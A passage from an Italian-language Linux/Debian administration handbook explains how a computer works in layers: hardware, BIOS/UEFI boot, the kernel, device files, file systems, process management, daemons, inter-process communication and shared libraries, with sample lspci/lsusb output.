Infine, a volte il sistema di posta elettronica memorizza i messaggi in arrivo nella dierctory ~/Mail/.

B.3. Funzionamento interno di un computer: i diversi livelli coinvolti

Un computer è spesso considerato come qualcosa piuttosto astratto e l'interfaccia visibile esternamente è molto più semplice rispetto alla complessità interna. Tale complessità deriva in parte dal numero di parti coinvolte. Tuttavia, tali parti possono essere visualizzate in strati, dove uno strato interagisce solo con quello immediatamente sopra o sotto.

Un utente finale può utilizzarlo senza conoscere questi dettagli... fino a quando tutto funziona. Quando si affronta un problema come, "Internet non funziona!", la prima cosa da fare è identificare in quale strato ha avuto origine il problema. La scheda di rete (hardware) funziona? E' riconosciuta dal computer? Il kernel Linux la vede? I parametri di rete sono configurati correttamente? Tutte queste domande aiutano ad isolare uno strato specifico evidenziando la potenziale fonte del problema.

B.3.1. Lo strato più profondo: l'hardware

Cominciamo con un promemoria base che un computer è, prima di tutto, un insieme di elementi hardware. C'è generalmente una scheda principale (nota come scheda madre), con uno (o più) processori, qualche RAM, controller di dispositivi e slot di espansione per schede aggiuntive (per altri controller di dispositivi). I più degni di nota tra questi controller sono gli IDE (Parallel ATA), SCSI e Serial ATA, per il collegamento di dispositivi di memorizzazione come gli hard disk. Altri controller includono l'USB, che è in grado di ospitare una grande varietà di dispositivi (che vanno dalle webcam ai termometri, dalle tastiere ai sistemi di automazione domestica) e l'IEEE 1394 (Firewire). Spesso, questi controller, consentono il collegamento di più dispositivi così il sottosistema completo gestito da un controller è quindi generalmente noto come "bus". Schede opzionali includono le schede grafiche (alle quali saranno collegati i monitor), le schede audio, le schede di rete e così via. Alcune schede madri hanno già integrate alcune di queste periferiche e non hanno bisogno di schede aggiuntive.

IN PRATICA Controllare che l'hardware funzioni

La verifica che un componente hardware funzioni può essere difficile. D'altra parte, dimostrare che non funziona può essere abbastanza semplice.

Un hard disk è fatto di piatti rotanti e testine magnetica in movimento. Quando un hard disk si accende, il motore del piatto fa un ronzio caratteristico. E dissipa anche energia sotto forma di calore. Di conseguenza, un disco rigido che rimane freddo e silenzioso quando acceso è rotto.

Le schede di rete spesso includono LED che mostrano lo stato del collegamento. Se un cavo è collegato ad un hub di rete funzionante o ad uno switch, dovrebbe accendere almeno un LED. Se non si accende nessun LED, la scheda, il dispositivo di rete oppure il cavo tra di loro è difettoso. Il passo successivo è quindi testare ciascun componente singolarmente.

Alcune schede opzionali — le schede video in particolare — includono dispositivi di raffreddamento, come dissipatori di calore e ventole. Se la scheda è alimentata ma la ventola non gira, una spiegazione plausibile è che la scheda non stia lavorando a piena potenza. Questo vale anche per il processore situato sulla scheda madre.

B.3.2. Avvio: BIOS o UEFI

L'hardware, da solo, non è in grado di eseguire operazioni utili senza la corrispondente parte software che lo guidi. Il controllo e l'interazione con l'hardware è lo scopo del sistema operativo e delle applicazioni. Questi, a loro volta, richiedono hardware funzionale per essere eseguiti.

Questa simbiosi tra hardware e software non avviene da sola. Quando il computer viene acceso per la prima volta, sono necessarie alcune configurazioni iniziali. Questo compito è svolto dal BIOS o dall'UEFI, un pezzo di software incluso nella scheda madre che si avvia automaticamente al momento dell'accensione. Il suo compito principale è cercare un software a cui possa trasferire il controllo. Di solito, come si è appreso in Sezione 9.1, «Avvio del sistema» nel caso del BIOS, questo comporta la ricerca del settore d'avvio del primo disco rigido (noto anche come master boot record o MBR), ed eseguirlo. Da quel momento in poi, il BIOS non è solitamente più coinvolto (fino al successivo avvio). Nel caso di EUFI, il processo comporta anche la scansione dei dischi per trovare una partizione EFI dedicata contenente ulteriori applicazioni EFI da eseguire.

STRUMENTO Impostare la configurazione del BIOS/UEFI

Il BIOS/UEFI contiene anche un software chiamato Setup, progettato per consentire la configurazione di alcuni opzioni del computer. In particolare, consente di scegliere il dispositivo di avvio preferito (per esempio, puoi selezionare un dispositivo USB o un CD-ROM invece dell'hard disk principale), impostare l'orologio di sistema e così via. L'avvio del Setup, di solito, si ottiene premendo velocemente un tasto subito dopo l'accensione del computer. Questo tasto è spesso Del o Esc, a volte F2, F5, F8 o F10. Generalmente, la scelta viene visualizzata sullo schermo durante l'avvio. In caso contrario, è meglio controllare il manuale della scheda madre o del computer.

Il settore di avvio (o la partizione EFI), a sua volta, contiene un'altro pezzo di software, chiamato bootloader, il cui scopo è quello di trovare ed eseguire un sistema operativo. Dal momento che questo bootloader non è incorporato nella scheda madre, ma è caricato dal disco, può avere più funzionalità del BIOS, il che spiega perché il BIOS non carica il sistema operativo stesso. Ad esempio, il bootloader (spesso GRUB su sistemi Linux) può elencare i sistemi operativi disponibili e chiedere all'utente di sceglierne uno. Di solito, in caso di time-out, viene fornita una scelta di default. A volte l'utente può anche scegliere di aggiungere parametri da passare al kernel, e così via. Alla fine, un kernel viene trovato, caricato in memoria, ed eseguito.

NOTA UEFI, un moderno sostituto del BIOS

Il BIOS (acronimo di Basic Input/Output System) è un software incluso nella scheda madre - la scheda elettronica che collega tutte le periferiche - ed eseguito all'avvio del computer per caricare un sistema operativo (tramite un bootloader). Rimane attivo per fornire un'interfaccia tra l'hardware ed il software (nel nostro caso, il kernel Linux).

Nel 2005/2006 è stato pubblicato il suo successore, la specifica UEFI (Unified Extensible Firmware Interface). Quest'ultima definisce un'interfaccia che ha lo stesso scopo del BIOS, ma cerca di fornire maggiore usabilità, estensibilità e flessibilità oltre ad un'interfaccia grafica ed un vero supporto a 64 bit. Inoltre, ha eliminato alcune delle limitazioni del BIOS in fare di avvio: con l'utilizzo di una partizione dedicata, i bootloader non hanno più bisogno trucchi speciali per adattarsi al piccolo master boot record per poi individuare il kernel da avviare. Ancora meglio, con un kernel Linux opportunamente realizzato, UEFI può avviare direttamente il kernel senza alcun bootloader intermedio. UEFI fornisce le fondamenta per eseguire Secure Boot, una tecnologia per garantire che si esegua solo software approvato dal produttore del sistema operativo.

Al giorno d'oggi, la maggior parte dei nuovi computer si avvia in modalità UEFI per impostazione predefinita, ma supportano anche l'avvio da BIOS per assicurare la compatibilità con i sistemi operativi incapaci di usare UEFI. Questa modalità è chiamata Compatibility Support Mode/Module (CSM). Tuttavia, molti produttori, hanno annunciato oppure già rimosso l'obsoleto supporto alla modalità BIOS dalla loro implementazione UEFI. Questa transizione, comunque, non è stata priva di discussioni e critiche.

Il BIOS/UEFI è anche responsabile del rilevamento edell'inizializzazione di un numero di dispositivi. Ovviamente, questo include i dispositivi IDE/SATA (di solito hard disk e unità CD/DVD-ROM), ma anche i dispositivi PCI. I dispositivi rilevati sono spesso elencati sullo schermo durante il processo di avvio. Se questo elenco scorre troppo velocemente, utilizzare il tasto Pausa per fermarlo il tempo sufficiente per leggere. Dispositivi PCI installati che non vengono visualizzati sono un cattivo presagio. Nel peggiore dei casi, il dispositivo è difettoso. Nella migliore delle ipotesi, è semplicemente incompatibile con la versione corrente del BIOS o con la scheda madre. Le specifiche PCI si evolvono, e le vecchie scehde madri non garantiscono di gestire i dispositivi PCI più recenti.

B.3.3. Il kernel

Sia il BIOS/UEFI che il bootloader sono eseguiti solo per pochi secondi ciascuno; ora stiamo arrivando il primo pezzo di software che viene eseguito per un tempo più lungo, il kernel del sistema operativo. Il kernel assume il ruolo di un direttore d'orchestra assicurando il coordinamento tra hardware e software. Tale ruolo prevede diversi compiti tra cui: gestire l'hardware, i processi, gli utenti ed i permessi, il file system e così via. Il kernel fornisce una base comune a tutti gli altri programmi del sistema.

B.3.4. Lo spazio utente

Anche se tutto ciò che accade al di fuori del kernel può essere raggruppato sotto la voce "user space" (spazio utente), possiamo ancora separarlo in livelli software. Tuttavia, le loro interazioni sono più complesse di prima e le classificazioni possono non essere così semplici. Un'applicazione utilizza comunemente librerie, che a loro volta coinvolgono il kernel, ma le comunicazioni possono coinvolgere anche altri programmi o addirittura molte altre librerie che si chiamano a vicenda.

B.4. Alcuni compiti gestiti dal kernel

B.4.1. Gestire l'hardware

Il kernel ha, prima di tutto, il compito di controllare i componenti hardware, individuarli, avviarli quando il computer viene acceso, e così via. Fornisce loro anche software di livello superiore con un'interfaccia di programmazione semplificata, cosicchè le applicazioni possono utilizzare i dispositivi senza doversi preoccupare di dettagli come ad esempio a quale slot di espansione è collegata la scheda aggiuntiva. L'interfaccia di programmazione prevede anche un livello di astrazione; questo permette al software di video-conferenza, ad esempio, di usare una webcam indipendentemente dalla sua marca e modello. Il software è appena in grado di utilizzare l'interfaccia Video for Linux (V4L) ed il kernel traduce le chiamate di funzione di questa interfaccia nei comandi hardware effettivamente necessari alla specifica webcam in uso.

Il kernel esporta molti dettagli sull'hardware rilevato attraverso i file system virtuali /proc/ e /sys/. Diversi strumenti riassumono queste informazioni. Tra questi, lspci (nel pacchetto pciutils) elenca i dispositivi PCI, lsusb (nel pacchetto usbutils) elenca i dispositivi USB e lspcmcia (nel pacchetto pcmciautils) elenca i dispositivi PCMCIA. Questi strumenti sono molto utili per individuare il modello esatto di un dispositivo. Questa identificazione permette anche di effettuare ricerche più precise sul web che, a loro volta, portano a documenti più pertinenti.

Esempio B.1. Esempio di informazioni fornite da lspci e lsusb

$ lspci [...] 00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05) 00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05) 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04) 00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31) 00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31) [...] 02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32) 03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01) 03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12) 04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983 $ lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp. Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Questi programmi hanno un'opzione -v che riporta informazioni molto più dettagliate (ma di solito non necessario). Infine, il comando lsdev (nel pacchetto procinfo) elenca le risorse di comunicazione utilizzate dai dispositivi.

Le applicazioni spesso accedono ai dispositivi per mezzo di file speciali creati all'interno della cartella /dev/ (vedi riquadro FONDAMENTALE Permessi di accesso ai dispositivi). Si tratta di file speciali che rappresentano le unità disco (per esempio, /dev/hda e /dev/sdc), le partizioni(/dev/hda1 o /dev/sdc3), i mouse (/dev/input/mouse0), le tastiere (/dev/input/event0), le schede audio (/dev/snd/*), le porte seriali (/dev/ttyS*), e così via.

B.4.2. File system

I file system sono uno degli aspetti più importanti del kernel. I sistemi Unix uniscono tutti gli archivi in un'unica gerarchia, che permette agli utenti (ed alle applicazioni) di accedere ai dati semplicemente conoscendo la loro posizione all'interno di tale gerarchia.

Il punto di partenza di questo gerarchia è chiamato radice (root), /. Questa directory può contenere subdirectory. Ad esempio, la directory home sottodirectory di / è chiamata /home/. Questa subdirectory può, a sua volta, contiene altre subdirectory e così via. Ogni directory può contenere anche file, in cui verranno effettivamente memorizzati i dati. Così, il nome /home/marco/Scrivania/ciao.txt si riferisce ad un file chiamato ciao.txt memorizzato in Scrivania subdirectory di marco subdirectory della directory home presente nella radice. Il kernel fa la traduzione tra questo sistema di denominazione e la reale, fisica archiviazione su un disco.

A differenza di altri sistemi, c'è solo un tale gerarchia, e può integrare dati da più dischi. Uno di questi dischi è usato come radice, e gli altri sono "montati" sulle directory nella gerarchia (il comando Unix è chiamato mount); questi altri dischi sono poi disponibili sotto questi "punti di montaggio". Questo permette di memorizzare le directory home degli utenti (di solito memorizzate all'interno di /home/) su un secondo hard disk, che conterrà le directory marco e grazia. Una volta che il disco è montato in /home/, queste directory diventano accessibili alle loro solite posizioni, e percorsi come /home/marco/Scrivania/ciao.txt continueranno a funzionare.

Ci sono molti formati di file system, che corrispondono a molti modi per memorizzare fisicamente i dati sui dischi. I più conosciuti sono ext3 ed ext4, ma ne esistono altri. Ad esempio, vfat è il sistema che è stato storicamente utilizzato dai sistemi operativi DOS e Windows e che consente di utilizzare i disci rigidi sotto Debian così come in Windows. In questo caso, il file system deve essere preparato sul disco prima che venga montato e questa operazione è nota come "formattazione". I comandi come mkfs.ext3 (dove mkfs sta per MaKe FileSystem) gestiscono la formattazione. Questi comandi richiedono, come parametro, un file del dispositivo che rappresenta la partizione che deve essere formattata (per esempio, /dev/sda1). Questa operazione è distruttiva e deve essere eseguita una sola volta, a meno che non si voglia deliberatamente ripulire un file system e ricominciare da capo.

Ci sono anche i file system di rete, come NFS, in cui i dati non sono memorizzati su un disco locale. Invece, i dati vengono trasmessi attraverso la rete a un server che li memorizza e li recupera su richiesta. L'astrazione del file system protegge gli utenti dal dover fare attenzione: i file rimangono di solito accessibili in modo gerarchico.

B.4.3. Funzioni Condivise

Dal momento che un certo numero di stesse funzioni è utilizzato da tutti i software, ha senso che vengano centralizzate nel kernel. Ad esempio, la gestione del file system condiviso permette a qualsiasi applicazione semplicemente aprire un file per nome, senza la necessità di preoccuparsi del modo in cui il file è memorizzato fisicamente. Il file può essere memorizzato in parecchie parti diverse su un disco rigido, o diviso su più dischi rigidi, o anche memorizzato su un file server remoto. Le funzioni di comunicazione condivise vengono utilizzate dalle applicazioni per scambiare dati indipendentemente dal modo in cui i dati vengono trasportati. Per esempio, il trasporto potrebbe avvenire su qualsiasi combinazione di reti locali, wireless oppure attraverso una linea telefonica fissa.

B.4.4. Gestione dei processi

Un processo è un'istanza di un programma in esecuzione. Ciò richiede memoria per memorizzare sia il programma che i suoi dati in esecuzione. Il kermel si occupa della creazione e del loro monitoraggio. Quando un programma viene eseguito, il kernel prima mette da parte un pò di memoria, quindi carica il codice eseguibile dal file system in esso, e poi avvia l'esecuzione del codice. Mantiene le informazioni su questo processo, delle quali la più visibile è il numero identificativo conosciuto come pid (process identifier).

I kernel Unix-like (incluso Linux), come la maggior parte dei sistemi operativi moderni, sono “multi-tasking”. In altre parole, permettono l'esecuzione di molti processi "contemporaneamente". In realtà c'è solo un processo in esecuzione in un dato momento, ma il kernel fraziona il tempo in intervalli ed esegue ogni processo a turno. Poiché questi intervalli di tempo sono molto brevi (in millisecondi), creano l'illusione di processi in esecuzione in parallelo, anche se in realtà sono attivi solo durante alcuni intervalli di tempo e inattivi il resto del tempo. Il lavoro del kernel è quello di regolare il suo meccanismo di pianificazione per mantenere questa illusione, massimizzando le prestazioni globali del sistema. Se gli intervalli di tempo sono troppo lunghi, l'applicazione potrebbe non mostrarsi così reattiva come si desidera. Se sono troppo brevi, il sistema perde tempo a passare da un lavoro (task) ad un'altro troppo frequentemente. Queste decisioni possono essere modificate attraverso le priorità dei processi. I processi ad alta priorità verranno eseguiti per più tempo e con intervalli più frequenti rispetto ai processi a bassa priorità.

NOTA Sistemi Multi-processore (e varianti)

La limitazione sopra descritta, di un solo processo alla volta che può essere eseguito, non si applica sempre. L'attuale restrizione è che ci può essere un solo processo alla volta in esecuzione per core di processore. I sistemi multi-processore, multi-core o "hyper-threading" consentono l'esecuzione di più processi in parallelo. Lo stesso sistema time-slicing è ancora usato, anche se, per gestire i casi in cui vi sono più processi attivi che core disponibili. Questo è tutt'altro che insolito: un sistema di base, anche se inattivo, quasi sempre ha decine di processi in esecuzione.

Naturalmente, il kernel permette di eseguire diverse istanze indipendenti dello stesso programma. Ma ciascuno può accedere solo ai propri intervalli di tempo e memoria. I loro dati rimangono quindi indipendenti.

B.4.5. Gestione dei Diritti

I sistemi Unix-like sono anche multi-utente. Essi forniscono un sistema di gestione dei diritti che supporta utenti e gruppi separati; permette anche il controllo sulle azioni basate sulle autorizzazioni. Il kernel gestisce i dati per ogni processo, permettendo di controllare i permessi. La maggior parte del tempo, il processo è identificato dall'utente che lo ha iniziato. Tale processo è consentito solo per rendere quelle azioni disponibili al suo proprietario. Ad esempio, il tentativo di aprire un file richiede che il kernel controlli l'identità del processo contro le autorizzazioni di accesso (per maggiori dettagli su questo particolare esempio, vedere Sezione 9.3, «Gestione dei permessi»).

B.5. Lo spazio utente

"Spazio utente" si riferisce l'ambiente di runtime di normali (al contrario di kernel) processi. Questo non significa necessariamente che questi processi siano effettivamente avviati dagli utenti perchè normalmente un sistema standard ha diversi processi "demoni" (o in background) in esecuzione prima che l'utente apri anche una sessione. I processi demoni sono considerati processi user-space.

B.5.1. Processo

Qunado il kernel ternima la sua fase di inizializzazione, avvia il primo processo, init. Il processo #1 da solo è molto raramente utile di per sé, ed i sistemi Unix-like vengono eseguiti con molti processi aggiuntivi.

Prima di tutto, un processo può clonare se stesso (questo è noto come fork). Il kermel alloca un nuovo (ma identico) spazio di memoria per il processo, ed un'altro processo per usarlo. In questo momento, l'unica differenza tra questi due processi è il loro pid. Il nuovo processo è chiamato di solito processo figlio, ed il processo originale il cui pid non cambia, è chiamato processo padre.

A volte, il processo figlio continua a condurre la sua propria vita indipendentemente dal suo genitore, con i propri dati copiati dal processo genitore. In molti casi, però, questo processo figlio esegue un altro programma. Con poche eccezioni, la memoria viene semplicemente sostituita da quella del nuovo programma, e l'esecuzione di questo nuovo programma inizia. Questo è il meccanismo utilizzato dal processo init (con il processo numero 1) per avviare servizi aggiuntivi ed eseguire l'intera sequenza di avvio. Ad un certo punto, un processo tra i processi figli di init avvia un'interfaccia grafica per gli utenti che devono fare il login (la sequenza reale degli eventi è descritta in dettaglio in Sezione 9.1, «Avvio del sistema»).

Quando un processo completa il compito per cui è stato avviato, termina. Il kernel poi recupera la memoria assegnata a questo processo, e smette di assegnarli porzioni di tempo per l'esecuzione. Al processo genitore viene detto che il proprio processo figlio è terminato, questo permette ad un processo di attendere il completamento del compito delegato ad un processo figlio. Questo comportamento è chiaramente visibile negli interpreti a riga di comando (conosciuti come shell). Quando viene digitato un comando in una shell, il prompt ritorna disponibile solo quando l'esecuzione del comando è completata. La maggior parte delle shell consentono l'esecuzione di comandi in background, si tratta solo di aggiungere un & alla fine del comando. Il prompt viene subito visualizzato di nuovo, e ciò può causare problemi se il comando ha bisogno di visualizzare i propri dati.

B.5.2. Demoni

Un "demone" è un processo avviato automaticamente dalla sequenza di avvio. Continua a funzionare (in background) per eseguire operazioni di manutenzione o per fornire servizi ad altri processi. Questa "attività in background" è in realtà arbitraria, e non corrisponde a niente di particolare dal punto di vista del sistema. Sono semplicemente processi, molto simili ad altri processi, che a loro volta si avviano quando arriva il loro intervallo di tempo. La distinzione è solo nel linguaggio umano: un processo che viene eseguito senza interazione con l'utente (in particolare, senza alcuna interfaccia grafica) è detto essere in esecuzione "in background" o "come demone".

VOCABOLARIO Daemon, demone, un termine dispregiativo?

Anche se il termine daemon condivide la sua etimologia greca con demon, il primo non implica il male diabolico, invece, dovrebbe essere inteso come una sorta di spirito aiutante. Questa distinzione è abbastanza sottile in inglese; è anche peggio in altre lingue in cui la stessa parola è usata per entrambi i significati.

Molti di questi demoni sono descritti in dettaglio nella Capitolo 9, Servizi Unix.

B.5.3. Comunicazioni tra Processi

Un processo isolato, sia esso un demone o un'applicazione interattiva, raramente è utile di per sé, ed è per questo ci sono diversi metodi che consentono ai processi separati di comunicare tra loro, sia per lo scambio di dati che per controllarsi l'un l'altro. Il termine generico che si riferisce a questo è comunicazione tra processi, o IPC in breve.

Il più semplice sistema di IPC è quello di utilizzare i file. Il processo che desidera inviare dati scrive in un file (con un nome noto in anticipo), mentre il destinatario deve solo aprire il file e leggere i contenuti.

Nel caso in cui non si desideri memorizzare i dati su disco, è possibile utilizzare una pipe, che è semplicemente un oggetto con due estremità; i byte scritti in una delle estremità sono leggibili dall'altra. Se le estremità sono controllate da processi separati, questo porta ad un canale di comunicazione tra processi semplice e conveniente. Le pipe possono essere classificate in due categorie: pipe con nome, e pipe anonime. Una pipe con nome è rappresentata da una sola voce sul file system (anche se i dati trasmessi non sono memorizzati lì), quindi entrambi i processi possono aprirla indipendentemente se la posizione della pipe con nome è nota in anticipo. Nel caso in cui sono collegati processi comunicanti (per esempio, un processo genitore ed un processo figlio), il processo padre può anche creare una pipe anonima prima di fare il fork, ed il processo figlio la eredita. Entrambi i processi saranno quindi in grado di scambiare dati attraverso la pipe senza bisogno del file system.

IN PRATICA Un'esempio concreto

Descriviamo in dettaglio ciò che accade quando un comando complesso (una pipeline) viene eseguita da una shell. Supponiamo di avere un processo bash (la shell utente standard su Debian), con pid 4374; in questa shell, digitiamo il comando: ls | sort .

La shell prima interpreta il comando digitato. Nel nostro caso, si capisce che ci sono due programmi (ls e sort), con un flusso di dati che scorre da uno all'altro (indicato dal carattere |, noto come pipe). bash crea innanzitutto una pipe senza nome (che inizialmente esiste solo all'interno del processo bash stesso).

Poi la shell clona se stessa; questo porta ad un nuovo processo bash, con pid #4521 (i pid sono numeri astratti, ed in genere non hanno un significato particolare). Il processo #4521 eredita la pipe, che significa che è in grado di scrivere nel suo lato di "input"; la bash reindirizza il suo flusso di output standard verso l'ingresso di questa pipe. Poi esegue (e si sostituisce ad esso) il programma ls, che elenca il contenuto della directory corrente. Dal momento che ls scrive sul suo output standard, e questo output è stato precedentemente reindirizzato, i risultati sono inviati effettivamente nella pipe.

Un'operazione simile avviene per il secondo comando: bash si clona ancora, portando ad un nuovo processo bash con pid # 4522. Dal momento che è anche un processo figlio di # 4374, eredita anche la pipe; bash poi connette il suo input standard all'uscita della pipe, poi esegue (e si sostituisce ad esso) il comando sort, che ordina il suo input e visualizza i risultati.

Tutti i pezzi del puzzle sono ora impostati: ls legge la directory corrente e scrive l'elenco dei file nella pipe; sort legge questa lista, la ordine in ordine alfabetico, e visualizza i risultati. Processi numero #4521 e #4522 poi terminano, e #4374 (che li aspettava durante l'operazione), riprende il controllo e visualizza il prompt per consentire all'utente di digitare un nuovo comando.

Comunque, non tutte le comunicazioni tra processi sono usate per sposteare dati in giro. In molte situazioni, l'unica informazione che deve essere trasmessa sono i messaggi di controllo come "metti in pausa l'esecuzione" oppure "riprendi l'esecuzione". Unix (e Linux) forniscono un meccanismo noto come signals, attraverso il quale un processo può semplicemente inviare un segnale specifico (scelto da un'elenco predefinito di segnali) ad un'altro processo. L'unico requisito è quello di conoscere il pid del bersaglio.

Per le comunicazioni più complesse, ci sono anche meccanismi che consentono ad un processo di aprire l'accesso, o condividere, parte della sua memoria con altri processi. La memoria ora condivisa tra di essi può essere utilizzata per spostare i dati tra i processi.

Infine, le connessioni di rete possono anche aiutare i processi a comunicare; questi processi possono anche essere in esecuzione su computer diversi, forse anche a migliaia di chilometri di distanza.

E 'abbastanza normale per un tipico sistema Unix-like fare uso di tutti questi meccanismi a vari gradi.

B.5.4. Librerie

Le librerie di funzioni svolgono un ruolo cruciale in un sistema operativo Unix-like. Esse non sono programmi veri e propri, poiché non possono essere eseguiti da soli, ma raccolte di frammenti di codice che possono essere utilizzate da programmi standard. Tra le librerie comuni, potete trovare:

la libreria standard C (glibc), che contiene le funzioni di base come quelle per aprire i file o le connessioni di rete, ed altre che facilitano le interazioni con il kernel;

i toolkit grafici, come Gtk e Qt, consentono a molti programmi di riutilizzare gli oggetti grafici che forniscono;

la libreria libpng, consente il caricamento, l'interpretazione ed il salvataggio delle immagini in formato PNG.

Grazie a queste librerie, le applicazioni possono riutilizzare il codice esistente. Lo sviluppo delle applicazioni è semplificato dal momento che molte applicazioni possono riutilizzare le stesse funzioni. Con librerie spesso sviluppate da persone diverse, lo sviluppo globale del sistema è più vicino alla filosofia storica di Unix.

CULTURA Il Modo Unix: una cosa alla volta

Uno dei concetti fondamentali che sta alla base della famiglia di sistemi operativi Unix è che ogni strumento deve fare solo una cosa, e farla bene; le applicazioni possono poi riutilizzare questi strumenti per costruire logica più avanzata. Questa filosofia può essere visto in molte incarnazioni. Gli script shell possono essere il miglior esempio: sono formati da sequenze complesse di comandi molto semplici (come grep, wc, sort, uniq e così via). Un'altra applicazione di questa filosofia può essere vista nelle librerie di codice: la libreria libpng permette la lettura e la scrittura di immagini PNG, ma fa solo questo, non include nessuna funzione che permette la visualizzazione o la modifica delle immagini.

Inoltre, queste librerie sono spesso indicate come "librerie condivise", dato che il kernel è in grado di caricarle in memoria solo una volta, anche se più processi utilizzano la stessa libreria allo stesso tempo. Ciò permette risparmio di memoria, se confrontato con la situazione (ipotetica) contraria in cui il codice per una libreria sarebbe caricato tante volte quanti sono i processi che la utilizzano.